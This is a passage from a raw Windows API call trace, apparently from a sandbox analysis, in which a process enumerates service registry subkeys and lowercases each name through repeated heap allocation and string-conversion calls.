lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0244.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.165] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0244.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0244.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.165] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0244.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0244.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.166] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0244.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0244.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.166] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0244.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0244.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.166] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0244.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0244.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.167] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0244.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0244.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0244.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.167] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0244.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0244.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1df0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0244.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.167] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0244.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0244.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.168] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0244.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0244.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0244.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.168] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0244.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0244.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1da8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0244.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.168] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0244.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0244.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.168] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0244.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0244.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.169] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0244.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0244.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.169] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0244.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0244.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.169] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0244.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0244.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0244.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.169] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0244.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0244.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.170] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0244.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0244.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0244.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.170] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0244.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0244.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.170] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0244.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0244.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0244.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.171] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0244.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0244.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.171] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0244.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, 